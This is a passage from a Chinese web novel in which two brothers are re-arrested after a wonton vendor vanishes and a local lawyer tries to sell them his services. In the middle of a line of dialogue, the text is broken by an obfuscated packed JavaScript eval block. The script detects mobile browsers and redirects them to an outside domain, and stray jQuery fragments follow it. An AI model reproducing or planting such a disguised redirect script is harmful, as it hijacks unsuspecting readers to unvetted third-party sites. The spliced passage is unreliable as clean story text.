比如说,杨阁老和他的学生池明崖是出了名的公正廉明,严格按照律法判决,从来没听说过两头吃的情况。 所以此时,砚秋猜测:“或许是因为钦差在,他们的重点都在破获巡抚死亡的案件上,并不打算收受贿赂,所以地下的人也不敢随意动手,确定我们没事就放我们走了?” 不得不说,砚秋这时候还是有点天真的,只是也从侧面表现了风评的重要性。 急着“放虎归山”,池明崖做的也不是没有漏洞,比如不收受贿赂这件事情,就不太符合砚秋和墨秋一贯以来的常识。 但是因为池明崖和杨阁老的风评一向很好,大家都觉得他们是廉洁的好官,所以知道是他们主持工作,砚秋和墨秋虽然疑惑,却也没有过于怀疑,毕竟这事也是说得通的。 而如果池明崖或者杨阁老的风评一般,甚至很差,墨秋和砚秋就会一直警惕下去。 墨秋和砚秋被特意放在了刘老汉的馄饨摊附近,这里离两人的客栈也很近,说起来,池明崖也能说官差是送他们两去面试的,后面,两人也不负池明崖的期望,果然吃了馄饨。 于是第二天的,当刘老汉没有按时出摊,池明崖选择了派人调查。 第三天,墨秋一边漱口一边嘴巴里叽叽咕咕,砚秋忍不住说了他一句:“你漱完口再说。” 墨秋吐出嘴巴里的水,说道:“你听说了吗,馄饨摊老板不见了!” “也许是家里有事,所以临时没有出摊?”砚秋猜测道,说话的同时还忍不住说墨秋:“你早上不梳头不漱口,跑出去就是听馄饨摊老板失踪的消息?” 砚秋不理解,这种没什么价值的消息,墨秋怎么也感兴趣。 “哎呀!万一是大事呢!”墨秋说着:“总不能错过吧!” “行了,与其想馄饨摊老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454688|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如想今天早上去吃什么。”砚秋无奈说道。 “要不然,今天换成酒酿?”墨秋试探着问。 “可以。”砚秋答应着,就和墨秋往外走。 到了酒酿的摊子,砚秋和墨秋却发现看到了程曦。 “程家庄离这里不近吧?他怎么在这里?”墨秋和砚秋嘀咕。 “可能是为了他们族里的那个通奸案。”砚秋猜测道:“不是有消息说快要结案了吗?” 听到砚秋这话,墨秋也认为大概是这个原因,于是不再好奇,直接吃起了酒酿。 吃着吃着,墨秋发现边上有衙役和官兵把自己围了起来。 ??双眼都是问号的墨秋抬头看向边上一圈的人,为首的大汉甚至是前天抓自己两兄弟的那个。 一瞬间,墨秋怀疑是不是时间倒流。 此时,为首的大汉对着墨秋皮笑肉不笑地说道:“砚秋和墨秋是吧?你们的事犯了,束手就擒,跟爷爷们回牢里吧!” “什么意思?!”砚秋立马警觉地问道。 “明明昨天才说证据不足,还了我们清白,放我们出来,你又在干什么?”墨秋紧张的时候话也是多的。 大汉对着墨秋笑地诡异:“什么叫做还你们清白,我们是说证据不足以给你们判决罪名,但是不代表你们是清白的,这不,又有新的证据了,你们这些罪犯,是逃不掉的!” 砚秋和墨秋当即想要挣扎,却被官兵衙役们一拥而上控制住了双臂,压低了身体,弯着腰站立。 “带走!”为首的壮汉一挥手。 “等等!等等!”程曦连忙凑了过来。 “你谁啊?”壮汉不耐烦地说道。 程曦一脸赔笑:“我是一名讼师,好汉您能否让我和他们说两句话。” 壮汉一脸警惕:“你们不会是同伙吧?” 程曦连忙摆手:“不是不是!主要是现在生意难做,我看这两位衣着光鲜,应该请得起讼师,所以过来问两句。” 听到程曦这话,壮汉终于缓和了神情,打量了程曦一番,答应道:“那你当着我们的面说,不许说悄悄话。” “好的好的!”程曦连连答应,转头就问砚秋和墨秋:“两位,你们人生地不熟,强龙还比不过地头蛇,要不要请个当地的讼师啊?” “你这么好心?”墨秋怀疑,毕竟程曦可是因为少爷没有亲自请他而不满骂过自己兄弟两人的人。 程曦脸色夸张:“我当然好心了,承惠仅需一百两,怎么样?” “你怎么不去抢啊!”墨秋惊呼。